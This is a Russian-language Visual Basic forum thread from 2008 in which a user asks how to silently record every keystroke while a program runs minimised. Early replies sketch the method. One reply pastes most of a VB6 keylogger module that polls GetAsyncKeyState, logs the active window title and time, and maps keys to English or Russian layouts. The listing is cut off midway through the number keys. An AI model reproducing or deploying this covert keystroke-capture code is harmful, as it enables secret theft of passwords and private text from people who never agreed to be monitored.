Visual Basic, .NET, ASP, VBScript
 

   
   
     

Форум - Общий форум

Страница: 1 |

 

  Вопрос: Снятие клавишь Добавлено: 14.11.08 22:08  

Автор вопроса:  Игорь | ICQ: 457394129 
Подскажите код, как снимать символы нажимаемых клавишь, так чтобы прога была свёрнута, тоесть просто при работе в системе. Например всё что я в ворде напишу всё прога запишет?

Ответить

  Ответы Всего ответов: 14  

Номер ответа: 1
Автор ответа:
 D o c a l



ICQ: 408802757 

Вопросов: 76
Ответов: 985
 Web-сайт: www.doc-source.pp.net.ua/
 Профиль | | #1
Добавлено: 14.11.08 23:19
ну где то был пример кейлогера написаного Хакером.
А вкратце так
через апи узнаеш какая клавиша нажата.
дальше узнаёш какя включена расклдадка на клаве.
дальше уже записываеш букву котороя соотвествует этой клавише и раскладке....

Ответить

Номер ответа: 2
Автор ответа:
 Ra$cal



ICQ: 8068014 

Вопросов: 18
Ответов: 817
 Web-сайт: www.rascalspb.narod.ru
 Профиль | | #2
Добавлено: 15.11.08 23:47
способ не проканает с шифтами итп. Есть апи CodeToAscii или какаято такая. И делать это лучше на хуках глобальных низкоуровневого клавишного ввода.

Ответить

Номер ответа: 3
Автор ответа:
 



Администратор

ICQ: 278109632 

Вопросов: 42
Ответов: 3949
 Web-сайт: domkratt.com
 Профиль | | #3
Добавлено: 16.11.08 00:23
Ra$cal, +1
Раскаль умный, он шарит =)

Ответить

Номер ответа: 4
Автор ответа:
 D o c a l



ICQ: 408802757 

Вопросов: 76
Ответов: 985
 Web-сайт: www.doc-source.pp.net.ua/
 Профиль | | #4
Добавлено: 16.11.08 20:50
не поленился нашол код Хакера
  1.  
  2. Attribute VB_Name = "KeyLoger"
  3. '===========================================================|
  4. ' <МОДУЛЬ СЛЕДЯЩИЙ ЗА НАЖАТЫМИ КЛАВИЩАМИ КЛАВИАТУРЫ,       >|
  5. ' <ВСЕ НАЖАТЫЕ КЛАВИЩИ ЗАПИСЫВАЮТСЯ В ПЕРЕМЕННУЮ.          >|
  6. '                                                           |
  7. ' = = = = = = = M A D E   B Y   H A C K E R = = = = = =     |
  8. '         icq: 826747, mail: visualbasic@xaker.ru           |
  9. '===========================================================|
  10.  
  11. 'ОСОБЕННОСТИ:
  12.  
  13. '  -  Отличает русскую и английскую раскладку
  14. '  -  Не требует установки хука на клаву
  15. '  -  Легко в использовать в своих программах
  16.  
  17. Private Declare Function Getasynckeystate Lib "user32" Alias "GetAsyncKeyState" (ByVal VKEY As Long) As Integer
  18. Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
  19. Private Declare Function GetForegroundWindow Lib "user32.dll" () As Long
  20. Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
  21. Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
  22. Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
  23. Private Declare Function GetKeyboardLayout Lib "user32" (ByVal dwLayout As Long) As Long
  24. Private Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hwnd As Long, lpdwProcessId As Long) As Long
  25. Private Declare Function GetLocaleInfo Lib "kernel32" Alias "GetLocaleInfoA" (ByVal Locale As Long, ByVal LCType As Long, ByVal lpLCData As String, ByVal cchData As Long) As Long
  26. Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
  27. Private Const LOCALE_SENGLANGUAGE = &H1001
  28. Private Const VK_CAPITAL = &H14
  29.  
  30. Dim AllKeyLog As String
  31. Dim currentwindow As String
  32.  
  33. Private Function Get_Name_ActiveWindows() As String
  34. 'Возвращает имя активного
  35.     Dim MyStr As String
  36.     MyStr = String(GetWindowTextLength(GetForegroundWindow) + 1, Chr$(0))
  37.     GetWindowText GetForegroundWindow, MyStr, Len(MyStr)
  38.     Get_Name_ActiveWindows = MyStr
  39. End Function
  40.  
  41. Private Function Get_hWND_Window(WindowName$) As Long
  42. 'Возвращает хендл по имени
  43.  Dim hwnd
  44.  hwnd = FindWindow(vbNullString, WindowName$)
  45.  Get_hWND_Window = hwnd
  46. End Function
  47.  
  48. Private Function GetCaption(WindowHandle As Long) As String
  49. 'Возвращает имя окна по хенделу
  50.     Dim Buffer As String, TextLength As Long
  51.     TextLength& = GetWindowTextLength(WindowHandle&)
  52.     Buffer$ = String(TextLength&, 0&)
  53.     Call GetWindowText(WindowHandle&, Buffer$, TextLength& + 1)
  54.     GetCaption$ = Buffer$
  55. End Function
  56.  
  57. Private Function GetLanguageInfo(ByVal hwnd As Long) As String
  58. 'Возвращает раскладку в указаном окне по hWnd
  59. Dim sReturn As String, nRet As Long
  60. Dim pID As Long, tId As Long, LCID As Long
  61. tId = GetWindowThreadProcessId(hwnd, pID)
  62. LCID = LoWord(GetKeyboardLayout(tId))
  63. sReturn = String$(128, 0)
  64. nRet = GetLocaleInfo(LCID, LOCALE_SENGLANGUAGE, sReturn, Len(sReturn))
  65. If nRet > 0 Then GetLanguageInfo = Left$(sReturn, nRet - 1)
  66. End Function
  67. Private Function LoWord(DWORD As Long) As Integer
  68. If DWORD And &H8000& Then
  69. LoWord = &H8000 Or (DWORD And &H7FFF&)
  70. Else
  71. LoWord = DWORD And &HFFFF&
  72. End If
  73. End Function
  74.  
  75. Private Function GetLanguage() As String
  76. 'Возвращает раскладку в активном окне
  77. GetLanguage = GetLanguageInfo(Get_hWND_Window(Get_Name_ActiveWindows))
  78. End Function
  79.  
  80. Private Function CAPSLOCKON() As Boolean
  81. 'Возвращает состояние CAPS Lock 'a
  82.  
  83. Static bInit As Boolean
  84. Static bOn As Boolean
  85. If Not bInit Then
  86. While Getasynckeystate(VK_CAPITAL)
  87. Wend
  88. bOn = GetKeyState(VK_CAPITAL)
  89. bInit = True
  90. Else
  91. If Getasynckeystate(VK_CAPITAL) Then
  92. While Getasynckeystate(VK_CAPITAL)
  93. DoEvents
  94. Wend
  95. bOn = Not bOn
  96. End If
  97. End If
  98. CAPSLOCKON = bOn
  99. End Function
  100. Public Function GetKeyLog() As String
  101. 'Возвращает весь лог что мы нажимали... (или не мы :) )
  102. Dim tmp As String, sData As String
  103.  
  104. Dim pos1 As Long, pos2 As Long, i As Long
  105. Dim tmpArr() As String
  106.  
  107. tmpArr = Split(AllKeyLog, "![")
  108.  
  109. For intIndex = 0 To UBound(tmpArr)
  110. DoEvents
  111.     sData$ = tmpArr(intIndex)
  112.     pos1 = InStr(1, sData$, "]!", 1):  If pos1 = 0 Then GoTo nextIndex
  113.        
  114.     okno$ = Mid$(sData$, 1, pos1 - 1)
  115.     sData$ = Mid$(sData$, pos1 + 2, Len(sData$))
  116.            
  117.     tmp$ = sData$
  118.     
  119.     For i = 1 To Len(sData$)
  120.         pos1 = 0
  121.         pos1 = InStr(i, sData$, "{", 1): If pos1 = 0 Then Exit For
  122.         pos2 = InStr(pos1, sData$, "}", 1): If pos2 = 0 Then Exit For
  123.         tmp$ = Replace(tmp$, Mid$(tmp$, pos1 - 1, pos2 - pos1 + 1), "")
  124.         i = pos1
  125.     Next i
  126.     
  127.     If Len(Trim$(tmp$)) > 4 And Len(Trim$(tmp$)) < 20 Then
  128.         GetKeyLog = GetKeyLog & "[" & okno$ & "]" & vbCrLf & sData$ & vbCrLf & vbCrLf & vbCrLf
  129.     End If
  130.     
  131.     
  132. nextIndex:
  133. Next intIndex
  134.  
  135.  
  136. End Function
  137.  
  138. Public Sub KeyLog()
  139. 'Эту подпрограмму нужно вызывать в таймере с минимальным интервалом
  140. 'Кейлог будет записан в переменную AllKeyLog
  141.  
  142. 'Тут вообщем долгая муть проверки нажатой кнопки, сравнения с раскладкой клавы, ну и вообще
  143. 'формирование лога...
  144.  
  145. If currentwindow <> GetCaption(GetForegroundWindow) Then
  146. currentwindow = GetCaption(GetForegroundWindow)
  147. AllKeyLog = AllKeyLog & vbNewLine & "![Время: " & Now & "  Окно:" & currentwindow & "]!" & vbNewLine
  148. End If
  149.  
  150. l$ = GetLanguage
  151.  
  152.  
  153.  
  154. Dim keystate As Long
  155. Dim Shift As Long
  156. Shift = Getasynckeystate(vbKeyShift)
  157. keystate = Getasynckeystate(vbKeyA)
  158.  
  159. If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
  160.     If l$ = "English" Then
  161.     AllKeyLog = AllKeyLog + "A"
  162.     ElseIf l$ = "Russian" Then
  163.     AllKeyLog = AllKeyLog + "Ф"
  164.     End If
  165. End If
  166.  
  167. If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
  168.     If l$ = "English" Then
  169.     AllKeyLog = AllKeyLog + "a"
  170.     ElseIf l$ = "Russian" Then
  171.     AllKeyLog = AllKeyLog + "ф"
  172.     End If
  173. End If
  174.  
  175. keystate = Getasynckeystate(vbKeyB)
  176. If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
  177.     If l$ = "English" Then
  178.     AllKeyLog = AllKeyLog + "B"
  179.     ElseIf l$ = "Russian" Then
  180.     AllKeyLog = AllKeyLog + "И"
  181.     End If
  182. End If
  183.  
  184. If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
  185.     If l$ = "English" Then
  186.     AllKeyLog = AllKeyLog + "b"
  187.     ElseIf l$ = "Russian" Then
  188.     AllKeyLog = AllKeyLog + "и"
  189.     End If
  190. End If
  191.  
  192. keystate = Getasynckeystate(vbKeyC)
  193. If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
  194.     If l$ = "English" Then
  195.     AllKeyLog = AllKeyLog + "C"
  196.     ElseIf l$ = "Russian" Then
  197.     AllKeyLog = AllKeyLog + "С"
  198.     End If
  199. End If
  200.  
  201. If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
  202.     If l$ = "English" Then
  203.     AllKeyLog = AllKeyLog + "c"
  204.     ElseIf l$ = "Russian" Then
  205.     AllKeyLog = AllKeyLog + "с"
  206.     End If
  207. End If
  208.  
  209. keystate = Getasynckeystate(vbKeyD)
  210. If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
  211.     If l$ = "English" Then
  212.     AllKeyLog = AllKeyLog + "D"
  213.     ElseIf l$ = "Russian" Then
  214.     AllKeyLog = AllKeyLog + "В"
  215.     End If
  216. End If
  217. DoEvents
  218. If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
  219.     If l$ = "English" Then
  220.     AllKeyLog = AllKeyLog + "d"
  221.     ElseIf l$ = "Russian" Then
  222.     AllKeyLog = AllKeyLog + "в"
  223.     End If
  224. End If
  225. keystate = Getasynckeystate(vbKeyE)
  226. If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
  227.     If l$ = "English" Then
  228.     AllKeyLog = AllKeyLog + "E"
  229.     ElseIf l$ = "Russian" Then
  230.     AllKeyLog = AllKeyLog + "У"
  231.     End If
  232. End If
  233. If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
  234.     If l$ = "English" Then
  235.     AllKeyLog = AllKeyLog + "e"
  236.     ElseIf l$ = "Russian" Then
  237.     AllKeyLog = AllKeyLog + "у"
  238.     End If
  239. End If
  240. keystate = Getasynckeystate(vbKeyF)
  241. If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
  242.     If l$ = "English" Then
  243.     AllKeyLog = AllKeyLog + "F"
  244.     ElseIf l$ = "Russian" Then
  245.     AllKeyLog = AllKeyLog + "А"
  246.     End If
  247. End If
  248. If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
  249.     If l$ = "English" Then
  250.     AllKeyLog = AllKeyLog + "f"
  251.     ElseIf l$ = "Russian" Then
  252.     AllKeyLog = AllKeyLog + "а"
  253.     End If
  254. End If
  255. keystate = Getasynckeystate(vbKeyG)
  256. If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
  257.     If l$ = "English" Then
  258.     AllKeyLog = AllKeyLog + "G"
  259.     ElseIf l$ = "Russian" Then
  260.     AllKeyLog = AllKeyLog + "П"
  261.     End If
  262. End If
  263. If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
  264.     If l$ = "English" Then
  265.     AllKeyLog = AllKeyLog + "g"
  266.     ElseIf l$ = "Russian" Then
  267.     AllKeyLog = AllKeyLog + "п"
  268.     End If
  269. End If
  270. keystate = Getasynckeystate(vbKeyH)
  271. If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
  272.     If l$ = "English" Then
  273.     AllKeyLog = AllKeyLog + "H"
  274.     ElseIf l$ = "Russian" Then
  275.     AllKeyLog = AllKeyLog + "Р"
  276.     End If
  277. End If
  278. DoEvents
  279. If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
  280.     If l$ = "English" Then
  281.     AllKeyLog = AllKeyLog + "h"
  282.     ElseIf l$ = "Russian" Then
  283.     AllKeyLog = AllKeyLog + "р"
  284.     End If
  285. End If
  286. keystate = Getasynckeystate(vbKeyI)
  287. If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
  288.     If l$ = "English" Then
  289.     AllKeyLog = AllKeyLog + "I"
  290.     ElseIf l$ = "Russian" Then
  291.     AllKeyLog = AllKeyLog + "Ш"
  292.     End If
  293. End If
  294. If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
  295.     If l$ = "English" Then
  296.     AllKeyLog = AllKeyLog + "i"
  297.     ElseIf l$ = "Russian" Then
  298.     AllKeyLog = AllKeyLog + "ш"
  299.     End If
  300. End If
  301. keystate = Getasynckeystate(vbKeyJ)
  302. If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
  303. If l$ = "English" Then
  304.     AllKeyLog = AllKeyLog + "J"
  305.     ElseIf l$ = "Russian" Then
  306.     AllKeyLog = AllKeyLog + "О"
  307.     End If
  308. End If
  309. If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
  310. If l$ = "English" Then
  311.     AllKeyLog = AllKeyLog + "j"
  312.     ElseIf l$ = "Russian" Then
  313.     AllKeyLog = AllKeyLog + "о"
  314.     End If
  315. End If
  316. keystate = Getasynckeystate(vbKeyK)
  317. If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
  318.     If l$ = "English" Then
  319.     AllKeyLog = AllKeyLog + "K"
  320.     ElseIf l$ = "Russian" Then
  321.     AllKeyLog = AllKeyLog + "Л"
  322.     End If
  323. End If
  324. If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
  325.     If l$ = "English" Then
  326.     AllKeyLog = AllKeyLog + "k"
  327.     ElseIf l$ = "Russian" Then
  328.     AllKeyLog = AllKeyLog + "л"
  329.     End If
  330. End If
  331. keystate = Getasynckeystate(vbKeyL)
  332. If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
  333.     If l$ = "English" Then
  334.     AllKeyLog = AllKeyLog + "L"
  335.     ElseIf l$ = "Russian" Then
  336.     AllKeyLog = AllKeyLog + "Д"
  337.     End If
  338. End If
  339. DoEvents
  340. If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
  341.     If l$ = "English" Then
  342.     AllKeyLog = AllKeyLog + "l"
  343.     ElseIf l$ = "Russian" Then
  344.     AllKeyLog = AllKeyLog + "д"
  345.     End If
  346. End If
  347. keystate = Getasynckeystate(vbKeyM)
  348. If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
  349.     If l$ = "English" Then
  350.     AllKeyLog = AllKeyLog + "M"
  351.     ElseIf l$ = "Russian" Then
  352.     AllKeyLog = AllKeyLog + "Ь"
  353.     End If
  354. End If
  355. If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
  356.     If l$ = "English" Then
  357.     AllKeyLog = AllKeyLog + "m"
  358.     ElseIf l$ = "Russian" Then
  359.     AllKeyLog = AllKeyLog + "ь"
  360.     End If
  361. End If
  362. keystate = Getasynckeystate(vbKeyN)
  363. If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
  364.     If l$ = "English" Then
  365.     AllKeyLog = AllKeyLog + "N"
  366.     ElseIf l$ = "Russian" Then
  367.     AllKeyLog = AllKeyLog + "Т"
  368.     End If
  369. End If
  370. If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
  371.     If l$ = "English" Then
  372.     AllKeyLog = AllKeyLog + "n"
  373.     ElseIf l$ = "Russian" Then
  374.     AllKeyLog = AllKeyLog + "т"
  375.     End If
  376. End If
  377. keystate = Getasynckeystate(vbKeyO)
  378. If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
  379.     If l$ = "English" Then
  380.     AllKeyLog = AllKeyLog + "O"
  381.     ElseIf l$ = "Russian" Then
  382.     AllKeyLog = AllKeyLog + "Щ"
  383.     End If
  384. End If
  385. If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
  386.     If l$ = "English" Then
  387.     AllKeyLog = AllKeyLog + "o"
  388.     ElseIf l$ = "Russian" Then
  389.     AllKeyLog = AllKeyLog + "щ"
  390.     End If
  391. End If
  392. DoEvents
  393. keystate = Getasynckeystate(vbKeyP)
  394. If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
  395.     If l$ = "English" Then
  396.     AllKeyLog = AllKeyLog + "P"
  397.     ElseIf l$ = "Russian" Then
  398.     AllKeyLog = AllKeyLog + "З"
  399.     End If
  400. End If
  401. If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
  402.     If l$ = "English" Then
  403.     AllKeyLog = AllKeyLog + "p"
  404.     ElseIf l$ = "Russian" Then
  405.     AllKeyLog = AllKeyLog + "з"
  406.     End If
  407. End If
  408. keystate = Getasynckeystate(vbKeyQ)
  409. If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
  410.     If l$ = "English" Then
  411.     AllKeyLog = AllKeyLog + "Q"
  412.     ElseIf l$ = "Russian" Then
  413.     AllKeyLog = AllKeyLog + "Й"
  414.     End If
  415. End If
  416. If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
  417.     If l$ = "English" Then
  418.     AllKeyLog = AllKeyLog + "q"
  419.     ElseIf l$ = "Russian" Then
  420.     AllKeyLog = AllKeyLog + "й"
  421.     End If
  422. End If
  423. keystate = Getasynckeystate(vbKeyR)
  424. If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
  425.     If l$ = "English" Then
  426.     AllKeyLog = AllKeyLog + "R"
  427.     ElseIf l$ = "Russian" Then
  428.     AllKeyLog = AllKeyLog + "К"
  429.     End If
  430. End If
  431. If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
  432.     If l$ = "English" Then
  433.     AllKeyLog = AllKeyLog + "r"
  434.     ElseIf l$ = "Russian" Then
  435.     AllKeyLog = AllKeyLog + "к"
  436.     End If
  437. End If
  438. keystate = Getasynckeystate(vbKeyS)
  439. If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
  440.     If l$ = "English" Then
  441.     AllKeyLog = AllKeyLog + "S"
  442.     ElseIf l$ = "Russian" Then
  443.     AllKeyLog = AllKeyLog + "Ы"
  444.     End If
  445. End If
  446. If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
  447.     If l$ = "English" Then
  448.     AllKeyLog = AllKeyLog + "s"
  449.     ElseIf l$ = "Russian" Then
  450.     AllKeyLog = AllKeyLog + "ы"
  451.     End If
  452. End If
  453. keystate = Getasynckeystate(vbKeyT)
  454. If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
  455.     If l$ = "English" Then
  456.     AllKeyLog = AllKeyLog + "T"
  457.     ElseIf l$ = "Russian" Then
  458.     AllKeyLog = AllKeyLog + "Е"
  459.     End If
  460. End If
  461. DoEvents
  462. If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
  463.     If l$ = "English" Then
  464.     AllKeyLog = AllKeyLog + "t"
  465.     ElseIf l$ = "Russian" Then
  466.     AllKeyLog = AllKeyLog + "е"
  467.     End If
  468. End If
  469. keystate = Getasynckeystate(vbKeyU)
  470. If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
  471.     If l$ = "English" Then
  472.     AllKeyLog = AllKeyLog + "U"
  473.     ElseIf l$ = "Russian" Then
  474.     AllKeyLog = AllKeyLog + "Г"
  475.     End If
  476. End If
  477. If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
  478.     If l$ = "English" Then
  479.     AllKeyLog = AllKeyLog + "u"
  480.     ElseIf l$ = "Russian" Then
  481.     AllKeyLog = AllKeyLog + "г"
  482.     End If
  483. End If
  484. keystate = Getasynckeystate(vbKeyV)
  485. If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
  486.     If l$ = "English" Then
  487.     AllKeyLog = AllKeyLog + "V"
  488.     ElseIf l$ = "Russian" Then
  489.     AllKeyLog = AllKeyLog + "М"
  490.     End If
  491. End If
  492. If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
  493.     If l$ = "English" Then
  494.     AllKeyLog = AllKeyLog + "v"
  495.     ElseIf l$ = "Russian" Then
  496.     AllKeyLog = AllKeyLog + "м"
  497.     End If
  498. End If
  499. keystate = Getasynckeystate(vbKeyW)
  500. If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
  501.     If l$ = "English" Then
  502.     AllKeyLog = AllKeyLog + "W"
  503.     ElseIf l$ = "Russian" Then
  504.     AllKeyLog = AllKeyLog + "Ц"
  505.     End If
  506. End If
  507. If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
  508.     If l$ = "English" Then
  509.     AllKeyLog = AllKeyLog + "w"
  510.     ElseIf l$ = "Russian" Then
  511.     AllKeyLog = AllKeyLog + "ц"
  512.     End If
  513. End If
  514. keystate = Getasynckeystate(vbKeyX)
  515. If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
  516.     If l$ = "English" Then
  517.     AllKeyLog = AllKeyLog + "X"
  518.     ElseIf l$ = "Russian" Then
  519.     AllKeyLog = AllKeyLog + "Ч"
  520.     End If
  521. End If
  522. DoEvents
  523. If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
  524.     If l$ = "English" Then
  525.     AllKeyLog = AllKeyLog + "x"
  526.     ElseIf l$ = "Russian" Then
  527.     AllKeyLog = AllKeyLog + "ч"
  528.     End If
  529. End If
  530. keystate = Getasynckeystate(vbKeyY)
  531. If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
  532.     If l$ = "English" Then
  533.     AllKeyLog = AllKeyLog + "Y"
  534.     ElseIf l$ = "Russian" Then
  535.     AllKeyLog = AllKeyLog + "Н"
  536.     End If
  537. End If
  538. If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
  539.     If l$ = "English" Then
  540.     AllKeyLog = AllKeyLog + "y"
  541.     ElseIf l$ = "Russian" Then
  542.     AllKeyLog = AllKeyLog + "н"
  543.     End If
  544. End If
  545. keystate = Getasynckeystate(vbKeyZ)
  546. If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
  547.     If l$ = "English" Then
  548.     AllKeyLog = AllKeyLog + "Z"
  549.     ElseIf l$ = "Russian" Then
  550.     AllKeyLog = AllKeyLog + "Я"
  551.     End If
  552. End If
  553. If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
  554.     If l$ = "English" Then
  555.     AllKeyLog = AllKeyLog + "z"
  556.     ElseIf l$ = "Russian" Then
  557.     AllKeyLog = AllKeyLog + "я"
  558.     End If
  559. End If
  560. keystate = Getasynckeystate(vbKey1)
  561. If Shift = 0 And (keystate And &H1) = &H1 Then
  562.   AllKeyLog = AllKeyLog + "1"
  563.       End If
  564.       If Shift <> 0 And (keystate And &H1) = &H1 Then
  565. AllKeyLog = AllKeyLog + "!"
  566. End If
  567. keystate = Getasynckeystate(vbKey2)
  568. If Shift = 0 And (keystate And &H1) = &H1 Then
  569.   AllKeyLog = AllKeyLog + "2"
  570.       End If
  571.       If Shift <> 0 And (keystate And &H1) = &H1 Then
  572.     If l$ = "English" Then
  573.     AllKeyLog = AllKeyLog + "@"
  574.     ElseIf l$ = "Russian" Then
  575.     AllKeyLog = AllKeyLog + Chr(34)
  576.     End If
  577. End If
  578. DoEvents
  579. keystate = Getasynckeystate(vbKey3)
  580. If Shift = 0 And (keystate And &H1) = &H1 Then
  581.   AllKeyLog = AllKeyLog + "3"
  582.       End If
  583.       If Shift <> 0 And (keystate And &H1) = &H1 Then
  584.  
  585.     If l$ = "English" Then
  586.     AllKeyLog = AllKeyLog + "#"
  587.     ElseIf l$ = "Russian" Then
  588.     AllKeyLog = AllKeyLog + "№"
  589.     End If
  590.  
  591. End If
  592. keystate = Getasynckeystate(vbKey4)
  593. If Shift = 0 And (keystate And &H1) = &H1 Then
  594.   AllKeyLog = AllKeyLog + "4"
  595.       End If
  596. If Shift <> 0 And (keystate And &H1) = &H1 Then
  597.  
  598.     If l$ = "English" Then
  599.     AllKeyLog = AllKeyLog + "$"
  600.     ElseIf l$ = "Russian" Then
  601.     AllKeyLog = AllKeyLog + ";"
  602.     End If
  603. End If
  604. keystate = Getasynckeystate(vbKey5)
